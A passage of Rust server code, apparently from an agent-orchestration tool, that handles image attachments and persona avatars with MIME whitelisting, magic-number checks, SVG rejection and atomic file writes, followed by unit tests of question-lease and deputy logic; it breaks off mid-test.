10894            if path.extension().is_some_and(|ext| ext == "json") {
10895                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10896            } else {
10897                None
10898            }
10899        })
10900        .collect()
10901}
10902
10903/// Expand an id or short id to exactly one talk id.
10904fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10905    if plain_record_id(id) && store.path_of(id).is_file() {
10906        return Ok(id.to_owned());
10907    }
10908    pick(talk_ids(store.root()), id, "talk")
10909}
10910
10911/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10912/// future `talk-say`.
10913async fn talk_attachment_post(
10914    State(ui): State<Arc<Ui>>,
10915    Path(id): Path<String>,
10916    headers: HeaderMap,
10917    body: Bytes,
10918) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10919    let mime = validate_attachment(&headers, &body)?;
10920    let name = filename_header(&headers);
10921    let data = body.to_vec();
10922    blocking(move || {
10923        let id = resolve_talk(&ui.talks, &id)?;
10924        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10925        Ok((StatusCode::CREATED, Json(att)))
10926    })
10927    .await
10928}
10929
10930/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10931/// `<img>` tag in the transcript.
10932async fn talk_attachment_get(
10933    State(ui): State<Arc<Ui>>,
10934    Path((id, att)): Path<(String, String)>,
10935) -> ApiResult<Response> {
10936    blocking(move || {
10937        let id = resolve_talk(&ui.talks, &id)?;
10938        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10939            return Err(ApiError::not_found(format!(
10940                "talk {id} has no attachment `{att}`"
10941            )));
10942        };
10943        Ok(attachment_response(&meta.mime, data))
10944    })
10945    .await
10946}
10947
10948/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10949/// the icon setting, so changing it changes the URL.
10950fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10951    let id = avatar_encode(&p.id);
10952    format!(
10953        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10954        persona_icon::fingerprint(
10955            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10956        )
10957    )
10958}
10959
10960#[derive(Debug, Default, Deserialize)]
10961struct AvatarQuery {
10962    persona: Option<String>,
10963    /// Set by the page after the first load failed: skip the `icon`.
10964    builtin: Option<String>,
10965}
10966
10967/// Served with every built-in avatar: it is an image, so nothing else may run.
10968const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10969
10970fn builtin_avatar(id: &str) -> Response {
10971    svg_avatar(persona_icon::builtin_svg(id))
10972}
10973
10974async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10975    raster_or_builtin(
10976        read_icon_file(&avatar_setting_path(&ui.home, None))
10977            .filter(|_| q.builtin.is_none())
10978            .as_deref(),
10979        persona_icon::operator_svg(),
10980    )
10981}
10982
10983fn svg_avatar(svg: &'static str) -> Response {
10984    (
10985        [
10986            (header::CONTENT_TYPE, "image/svg+xml"),
10987            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10988            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10989            (header::CACHE_CONTROL, "no-cache"),
10990        ],
10991        svg,
10992    )
10993        .into_response()
10994}
10995
10996fn avatar_encode(value: &str) -> String {
10997    value
10998        .bytes()
10999        .map(|b| {
11000            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11001                char::from(b).to_string()
11002            } else {
11003                format!("%{b:02X}")
11004            }
11005        })
11006        .collect()
11007}
11008
11009// Display-only overrides live outside configuration and conversation records.
11010fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11011    let Some(id) = persona else {
11012        return home.join("avatars/operator.data");
11013    };
11014    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11015    let mut path = home.join("avatars/personas");
11016    for chunk in encoded.as_bytes().chunks(100) {
11017        path.push(std::str::from_utf8(chunk).expect("hex"));
11018    }
11019    path.join("icon.data")
11020}
11021
11022fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11023    match read_icon_file(&avatar_setting_path(home, Some(id))) {
11024        Some(value) if value == "builtin" => Some(String::new()),
11025        Some(value) => Some(value),
11026        None => configured.map(str::to_owned),
11027    }
11028}
11029
11030fn operator_icon_url(home: &FsPath) -> String {
11031    format!(
11032        "/avatars/operator.svg?v={}",
11033        persona_icon::fingerprint(
11034            read_icon_file(&avatar_setting_path(home, None))
11035                .as_deref()
11036                .or(Some(persona_icon::operator_svg()))
11037        )
11038    )
11039}
11040
11041fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11042    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11043        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11044            attachment_response(mime, bytes)
11045        }
11046        _ => svg_avatar(builtin),
11047    };
11048    response
11049        .headers_mut()
11050        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11051    response
11052}
11053
11054#[derive(Default, Deserialize)]
11055struct AvatarSettingsQuery {
11056    repo: Option<PathBuf>,
11057    persona: Option<String>,
11058    builtin: Option<String>,
11059    inherit: Option<String>,
11060}
11061
11062fn avatar_settings_specs(
11063    ui: &Ui,
11064    repo: Option<PathBuf>,
11065) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11066    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11067    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11068        .map(|cfg| cfg.talk.personas)
11069        .unwrap_or_default();
11070    Ok((repo, specs))
11071}
11072
11073fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11074    let Ok(entries) = std::fs::read_dir(path) else {
11075        return;
11076    };
11077    for entry in entries.flatten() {
11078        let name = entry.file_name().to_string_lossy().into_owned();
11079        if name == "icon.data" {
11080            let bytes: Option<Vec<u8>> = prefix
11081                .as_bytes()
11082                .chunks(2)
11083                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11084                .collect();
11085            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11086                out.push(id);
11087            }
11088        } else if name.len() <= 100
11089            && !name.is_empty()
11090            && name.bytes().all(|b| b.is_ascii_hexdigit())
11091            && entry.file_type().is_ok_and(|t| t.is_dir())
11092        {
11093            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11094        }
11095    }
11096}
11097
11098async fn avatar_settings_get(
11099    State(ui): State<Arc<Ui>>,
11100    Query(q): Query<AvatarSettingsQuery>,
11101) -> ApiResult<Json<serde_json::Value>> {
11102    blocking(move || {
11103        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11104        let mut catalog = persona::catalog(&specs);
11105        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11106        let mut saved = Vec::new();
11107        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11108        for id in saved {
11109            if !catalog.iter().any(|p| p.id == id) {
11110                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11111            }
11112        }
11113        let personas: Vec<_> = catalog.iter().map(|p| {
11114            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11115            let override_state = match saved.as_deref() {
11116                Some("builtin") => "builtin",
11117                Some(_) => "custom",
11118                None => "inherit",
11119            };
11120            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11121            serde_json::json!({"id":p.id,"name":p.name,
11122                "override_state":override_state,"has_config_icon":p.icon.is_some(),
11123                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11124                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11125        }).collect();
11126        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11127    }).await
11128}
11129
11130async fn settings_persona_avatar(
11131    State(ui): State<Arc<Ui>>,
11132    Query(q): Query<AvatarSettingsQuery>,
11133) -> ApiResult<Response> {
11134    blocking(move || {
11135        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11136        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11137        let found = persona::find(&specs, id);
11138        let icon =
11139            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11140        Ok(raster_or_builtin(
11141            icon.as_deref().filter(|_| q.builtin.is_none()),
11142            persona_icon::builtin_svg(id),
11143        ))
11144    })
11145    .await
11146}
11147
11148fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11149    if q.persona
11150        .as_ref()
11151        .is_some_and(|p| p.is_empty() || p.len() > 4096)
11152    {
11153        return Err(ApiError::bad_request("invalid persona id"));
11154    }
11155    Ok(())
11156}
11157
11158async fn avatar_settings_put(
11159    State(ui): State<Arc<Ui>>,
11160    Query(q): Query<AvatarSettingsQuery>,
11161    Json(upload): Json<MagiIconUpload>,
11162) -> ApiResult<Json<serde_json::Value>> {
11163    blocking(move || {
11164        validate_avatar_target(&q)?;
11165        save_icon_file(
11166            &avatar_setting_path(&ui.home, q.persona.as_deref()),
11167            &upload.icon,
11168        )
11169        .map_err(ApiError::bad_request_from)?;
11170        Ok(Json(serde_json::json!({"saved":true})))
11171    })
11172    .await
11173}
11174
11175async fn avatar_settings_delete(
11176    State(ui): State<Arc<Ui>>,
11177    Query(q): Query<AvatarSettingsQuery>,
11178) -> ApiResult<Json<serde_json::Value>> {
11179    blocking(move || {
11180        validate_avatar_target(&q)?;
11181        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11182        if q.persona.is_some() && q.inherit.is_none() {
11183            atomic_icon_write(&path, "builtin")?;
11184        } else {
11185            match std::fs::remove_file(path) {
11186                Ok(()) => (),
11187                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11188                Err(e) => return Err(anyhow::Error::from(e).into()),
11189            }
11190        }
11191        Ok(Json(serde_json::json!({"saved":true})))
11192    })
11193    .await
11194}
11195
11196// The global MAGI icon is deliberately independent of repository configuration.
11197fn magi_icon_path(home: &FsPath) -> PathBuf {
11198    home.join("magi-icon.data")
11199}
11200
11201fn read_magi_icon(home: &FsPath) -> Option<String> {
11202    read_icon_file(&magi_icon_path(home))
11203}
11204
11205fn read_icon_file(path: &FsPath) -> Option<String> {
11206    let metadata = std::fs::metadata(path).ok()?;
11207    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11208        return None;
11209    }
11210    let file = std::fs::File::open(path).ok()?;
11211    use std::io::Read;
11212    let mut text = String::new();
11213    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11214        .read_to_string(&mut text)
11215        .ok()?;
11216    if text.len() > persona_icon::ICON_MAX_BYTES {
11217        return None;
11218    }
11219    if text == "builtin" {
11220        return Some(text);
11221    }
11222    validate_uploaded_icon(&text).ok()?;
11223    Some(text)
11224}
11225
11226fn magi_icon_url(home: &FsPath) -> String {
11227    format!(
11228        "/avatars/magi?v={}",
11229        persona_icon::fingerprint(read_magi_icon(home).as_deref())
11230    )
11231}
11232
11233async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11234    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11235}
11236
11237#[derive(Deserialize)]
11238struct MagiIconUpload {
11239    icon: String,
11240}
11241
11242fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11243    save_icon_file(&magi_icon_path(home), icon)
11244}
11245
11246fn validate_uploaded_icon(icon: &str) -> Result<()> {
11247    if !icon.starts_with("data:") {
11248        anyhow::bail!("upload a raster image");
11249    }
11250    let (mime, bytes) = persona_icon::load(icon)?;
11251    if sniffed_mime(&bytes) != Some(mime) {
11252        anyhow::bail!("image content does not match its type");
11253    }
11254    Ok(())
11255}
11256
11257fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11258    validate_uploaded_icon(icon)?;
11259    atomic_icon_write(path, icon)
11260}
11261
11262fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11263    let home = path.parent().expect("icon parent");
11264    std::fs::create_dir_all(home)?;
11265    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11266    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11267    let result = (|| -> Result<()> {
11268        use std::io::Write;
11269        let mut file = std::fs::OpenOptions::new()
11270            .write(true)
11271            .create_new(true)
11272            .open(&temp)?;
11273        file.write_all(icon.as_bytes())?;
11274        file.sync_all()?;
11275        std::fs::rename(&temp, path)?;
11276        Ok(())
11277    })();
11278    let _ = std::fs::remove_file(temp);
11279    result?;
11280    Ok(())
11281}
11282
11283async fn magi_icon_put(
11284    State(ui): State<Arc<Ui>>,
11285    Json(upload): Json<MagiIconUpload>,
11286) -> ApiResult<Json<serde_json::Value>> {
11287    blocking(move || {
11288        if !upload.icon.starts_with("data:") {
11289            return Err(ApiError::bad_request("upload a raster image"));
11290        }
11291        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11292        if sniffed_mime(&bytes) != Some(mime) {
11293            return Err(ApiError::bad_request(
11294                "image content does not match its type",
11295            ));
11296        }
11297        save_magi_icon(&ui.home, &upload.icon)?;
11298        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11299    })
11300    .await
11301}
11302
11303async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11304    blocking(move || {
11305        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11306            Ok(()) => (),
11307            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11308            Err(e) => return Err(anyhow::Error::from(e).into()),
11309        }
11310        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11311    })
11312    .await
11313}
11314
11315async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11316    let icon = (q.builtin.is_none())
11317        .then(|| read_magi_icon(&ui.home))
11318        .flatten();
11319    let mut response = match icon
11320        .as_deref()
11321        .and_then(|icon| persona_icon::load(icon).ok())
11322    {
11323        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11324            attachment_response(mime, bytes)
11325        }
11326        _ => svg_avatar(persona_icon::magi_svg()),
11327    };
11328    response
11329        .headers_mut()
11330        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11331    response
11332}
11333
11334/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11335/// operator's raster `icon` when it resolves and its bytes agree with its
11336/// type, the built-in SVG otherwise. Display only; every failure is a warning
11337/// and the built-in avatar, never an error response.
11338async fn talk_avatar(
11339    State(ui): State<Arc<Ui>>,
11340    Path(id): Path<String>,
11341    Query(q): Query<AvatarQuery>,
11342) -> ApiResult<Response> {
11343    blocking(move || {
11344        let id = resolve_talk(&ui.talks, &id)?;
11345        let talk = ui.talks.get(&id)?;
11346        let wanted = q
11347            .persona
11348            .as_deref()
11349            .map(str::trim)
11350            .filter(|p| !p.is_empty())
11351            .unwrap_or(&talk.persona)
11352            .to_owned();
11353        let specs = match Config::discover(&talk.repo, None) {
11354            Ok((cfg, _)) => cfg.talk.personas,
11355            Err(e) => {
11356                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11357                Vec::new()
11358            }
11359        };
11360        let found = persona::find(&specs, &wanted);
11361        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11362        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11363        let icon = effective_persona_icon(
11364            &ui.home,
11365            &wanted,
11366            found.as_ref().and_then(|p| p.icon.as_deref()),
11367        );
11368        if found.is_none() && icon.is_none() {
11369            return Ok(builtin_avatar(persona::DEFAULT_ID));
11370        }
11371        let Some(icon) = icon
11372            .as_deref()
11373            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11374        else {
11375            return Ok(builtin_avatar(&wanted));
11376        };
11377        let Some(found) = found else {
11378            return Ok(raster_or_builtin(
11379                Some(icon),
11380                persona_icon::builtin_svg(&wanted),
11381            ));
11382        };
11383        match persona_icon::load(icon) {
11384            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11385                let mut res = attachment_response(mime, bytes);
11386                res.headers_mut().insert(
11387                    header::CACHE_CONTROL,
11388                    header::HeaderValue::from_static("no-cache"),
11389                );
11390                Ok(res)
11391            }
11392            Ok((mime, _)) => {
11393                tracing::warn!(
11394                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11395                    found.id
11396                );
11397                Ok(builtin_avatar(&found.id))
11398            }
11399            Err(e) => {
11400                tracing::warn!(
11401                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11402                    found.id
11403                );
11404                Ok(builtin_avatar(&found.id))
11405            }
11406        }
11407    })
11408    .await
11409}
11410
11411/// Validate an attachment upload's declared `Content-Type` and the bytes
11412/// themselves, returning the canonical mime on success.
11413///
11414/// Two checks, both required: the header has to name one of
11415/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11416/// simply never in the list, active content rather than a picture, the same
11417/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11418/// magic number has to agree. The second is what stops a mislabeled upload -
11419/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11420/// a declared type is a claim, not a fact, so it is never trusted alone.
11421fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11422    if data.len() > ATTACHMENT_MAX_BYTES {
11423        return Err(ApiError::bad_request(format!(
11424            "attachment is {} bytes, over the {} MiB limit",
11425            data.len(),
11426            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11427        ))
11428        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11429    }
11430    if data.is_empty() {
11431        return Err(ApiError::bad_request("attachment is empty"));
11432    }
11433    let declared = declared_mime(headers)?;
11434    match sniffed_mime(data) {
11435        Some(sniffed) if sniffed == declared => Ok(declared),
11436        Some(sniffed) => Err(ApiError::bad_request(format!(
11437            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11438        ))),
11439        None => Err(ApiError::bad_request(
11440            "the file's bytes do not match any accepted image format",
11441        )),
11442    }
11443}
11444
11445/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11446/// and nothing else - parameters like `; charset=` are stripped, but the
11447/// value itself is not otherwise interpreted.
11448fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11449    let raw = headers
11450        .get(header::CONTENT_TYPE)
11451        .and_then(|v| v.to_str().ok())
11452        .unwrap_or("")
11453        .split(';')
11454        .next()
11455        .unwrap_or("")
11456        .trim()
11457        .to_ascii_lowercase();
11458    ATTACHMENT_MIME_WHITELIST
11459        .iter()
11460        .find(|&&m| m == raw)
11461        .copied()
11462        .ok_or_else(|| {
11463            if raw == "image/svg+xml" {
11464                ApiError::bad_request(
11465                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11466                     not just a picture",
11467                )
11468            } else if raw.is_empty() {
11469                ApiError::bad_request("Content-Type is required for an attachment upload")
11470            } else {
11471                ApiError::bad_request(format!(
11472                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11473                     image/gif or image/webp"
11474                ))
11475            }
11476        })
11477}
11478
11479/// Identify an image by its magic number, independent of whatever
11480/// `Content-Type` claimed.
11481fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11482    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11483        Some("image/png")
11484    } else if data.starts_with(b"\xff\xd8\xff") {
11485        Some("image/jpeg")
11486    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11487        Some("image/gif")
11488    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11489        Some("image/webp")
11490    } else {
11491        None
11492    }
11493}
11494
11495/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11496/// display - see [`talk::Attachment::name`]'s doc on why it never
11497/// contributes to a path. A missing or blank header (curl without it, an
11498/// older front end) falls back to a generic name rather than refusing the
11499/// upload over a field that is cosmetic.
11500fn filename_header(headers: &HeaderMap) -> String {
11501    headers
11502        .get(FILENAME_HEADER)
11503        .and_then(|v| v.to_str().ok())
11504        .map(str::trim)
11505        .filter(|s| !s.is_empty())
11506        .unwrap_or("attachment")
11507        .to_owned()
11508}
11509
11510/// Every attachment `GET` response: the mime re-validated against the same
11511/// closed whitelist the upload route enforces - never the string trusted
11512/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11513/// cannot decide it knows better than the type we send. Unlike a panel asset
11514/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11515/// document renders inline, not agent-authored HTML in a sandboxed frame.
11516fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11517    let content_type = ATTACHMENT_MIME_WHITELIST
11518        .iter()
11519        .find(|&&m| m == mime)
11520        .copied()
11521        .unwrap_or("application/octet-stream");
11522    (
11523        [
11524            (header::CONTENT_TYPE, content_type),
11525            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11526        ],
11527        body,
11528    )
11529        .into_response()
11530}
11531
11532/// The configuration for a repository, read off the disk for this request.
11533///
11534/// Through [`blocking`] because discovery reads and merges several TOML files,
11535/// and because the alternative - caching it in [`Ui`] at startup - would mean
11536/// the operator's phone kept interviewing with a roster they had already
11537/// changed, with no way to reload it but restarting the server they are not
11538/// sitting in front of.
11539async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11540    let repo = repo.to_path_buf();
11541    blocking(move || {
11542        let (cfg, _) = Config::discover(&repo, None)?;
11543        Ok(cfg)
11544    })
11545    .await
11546}
11547
11548/// The one prefix rule, used for both runs and tasks: a leading match for a
11549/// full id, a trailing match for the short form an operator reads off a
11550/// report. Written here rather than borrowed from `queue::resolve_id` because
11551/// the UI needs the two failures as different status codes, and telling them
11552/// apart from an error message is not something to build a route on.
11553fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11554    let mut hits = ids
11555        .into_iter()
11556        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11557    match (hits.next(), hits.next()) {
11558        (Some(one), None) => Ok(one),
11559        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11560        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11561            "`{prefix}` matches more than one {what}, including {a} and {b}"
11562        ))),
11563    }
11564}
11565
11566#[cfg(test)]
11567mod tests {
11568
11569    #[test]
11570    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11571        let dir = tempfile::tempdir().unwrap();
11572        let store = ask::Questions::at(dir.path().join("questions"));
11573        let mut q = Question::new(
11574            "task".to_owned(),
11575            "conduct".to_owned(),
11576            "conduct".to_owned(),
11577            "choose".to_owned(),
11578            String::new(),
11579            vec!["keep".to_owned()],
11580        );
11581        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11582        q.say("why?").unwrap();
11583        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11584        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11585        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11586        store.put(&mut q).unwrap();
11587        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11588        assert_eq!(store.count_needs_owner(), 1);
11589        store.beat(&q.id, ask::WaiterKind::Deputy);
11590        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11591        assert_eq!(store.count_needs_owner(), 0);
11592        let mut stale = store.read_lease(&q.id).unwrap();
11593        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11594        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11595        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11596        assert!(view.deputy_exhausted);
11597        assert!(view.waiting_on_agent);
11598        assert_eq!(view.question.choices, ["keep"]);
11599        store.drop_lease(&q.id);
11600        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11601        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11602    }
11603
11604    #[test]
11605    fn holder_reads_the_lease_not_the_record() {
11606        let mut q = Question::new(
11607            "run".to_owned(),
11608            "implement".to_owned(),
11609            "impl-A".to_owned(),
11610            "which?".to_owned(),
11611            String::new(),
11612            Vec::new(),
11613        );
11614        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11615        q.cwd = Some("/tmp".to_owned());
11616        assert_eq!(holder_of(&q, None), Some("nobody"));
11617        let beat = |kind, ago: i64| ask::Lease {
11618            kind,
11619            pid: 1,
11620            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11621                .unwrap(),
11622        };
11623        let fresh = beat(ask::WaiterKind::Asker, 1);
11624        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11625        let daemon = beat(ask::WaiterKind::Daemon, 1);
11626        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11627        let stale = beat(ask::WaiterKind::Asker, 3600);
11628        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11629
11630        // A conductor question says "deputy" only while one is attached and
11631        // alive, and "nobody" - never silence - when nothing ever listened.
11632        let mut c = Question::new(
11633            "task".to_owned(),
11634            crate::conduct::NODE.to_owned(),
11635            "conduct".to_owned(),
11636            "which?".to_owned(),
11637            String::new(),
11638            Vec::new(),
11639        );
11640        assert_eq!(holder_of(&c, None), Some("nobody"));
11641        c.cwd = Some("/tmp".to_owned());
11642        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11643        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11644        let deputy = beat(ask::WaiterKind::Deputy, 1);
11645        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11646        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11647
11648        // A release-watch question: nobody until a deputy is attached.
11649        let mut r = Question::new(
11650            String::new(),
11651            crate::bump::NOTICE_NODE.to_owned(),
11652            "release-watch".to_owned(),
11653            "stuck?".to_owned(),
11654            String::new(),
11655            vec!["hold".to_owned()],
11656        );
11657        assert_eq!(holder_of(&r, None), Some("nobody"));
11658        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11659        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11660        // A choice-less bump notice is nobody's question at all.
11661        r.deputy = None;
11662        r.seat = "bump".to_owned();
11663        assert_eq!(holder_of(&r, None), None);
11664
11665        // A merge approval is the same: nobody until a deputy is attached
11666        // and alive, never a silent "no holder".
11667        let mut m = Question::new(
11668            "run".to_owned(),
11669            crate::land::APPROVAL_NODE.to_owned(),
11670            "land".to_owned(),
11671            "merge?".to_owned(),
11672            String::new(),
11673            Vec::new(),
11674        );
11675        assert_eq!(holder_of(&m, None), Some("nobody"));
11676        assert_eq!(
11677            holder_of(&m, Some(&fresh)),
11678            Some("asker"),
11679            "a live explicit wait is a listener even before a deputy is attached"
11680        );
11681        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11682        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11683        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11684        assert_eq!(holder_of(&m, None), Some("nobody"));
11685    }
11686
11687    fn stub_config() -> Config {
11688        // An explicit roster, so the result never depends on which agent CLIs
11689        // this machine has installed.
11690        Config {
11691            agents: vec![crate::config::AgentSpec {
11692                id: "stub".to_owned(),
11693                kind: AgentKind::Command,
11694                model: None,
11695                command: vec!["true".to_owned()],
11696                extra_args: Vec::new(),
11697                env: Default::default(),
11698                prompt_delivery: None,
11699                max_turn_secs: None,
11700            }],
11701            ..Config::default()
11702        }
11703    }
11704
11705    fn plain_question(seat: &str) -> Question {
11706        Question::new(
11707            String::new(),
11708            "n".to_owned(),
11709            seat.to_owned(),
11710            "s".to_owned(),
11711            String::new(),
11712            Vec::new(),
11713        )
11714    }
11715
11716    #[test]
11717    fn deputies_enabled_follows_the_config() {
11718        let on = stub_config();
11719        assert!(crate::deputy::can_start(Some(&on), ""));
11720        assert!(crate::deputy::can_start(Some(&on), "stub"));
11721        let mut off = on.clone();
11722        off.daemon.max_deputies = 0;
11723        assert!(!crate::deputy::can_start(Some(&off), ""));
11724        let mut empty = on;
11725        empty.agents.clear();
11726        assert!(!crate::deputy::can_start(Some(&empty), ""));
11727        assert!(!crate::deputy::can_start(None, ""));
11728    }
11729
11730    #[test]
11731    fn question_views_load_the_config_once() {
11732        let dir = TempDir::new().unwrap();
11733        let store = ask::Questions::at(dir.path().to_path_buf());
11734        let mut with_deputy = plain_question("b");
11735        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11736        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11737
11738        let calls = std::cell::Cell::new(0usize);
11739        let views = question_views(qs.clone(), &store, || {
11740            calls.set(calls.get() + 1);
11741            Some(stub_config())
11742        });
11743        assert_eq!(calls.get(), 1);
11744        assert_eq!(views.len(), 3);
11745        for (v, q) in views.iter().zip(&qs) {
11746            assert_eq!(
11747                v.deputies_enabled,
11748                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11749            );
11750        }
11751
11752        let views = question_views(qs, &store, || None);
11753        assert!(views.iter().all(|v| !v.deputies_enabled));
11754
11755        let calls = std::cell::Cell::new(0usize);
11756        let views = question_views(Vec::new(), &store, || {
11757            calls.set(calls.get() + 1);
11758            None
11759        });
11760        assert!(views.is_empty());
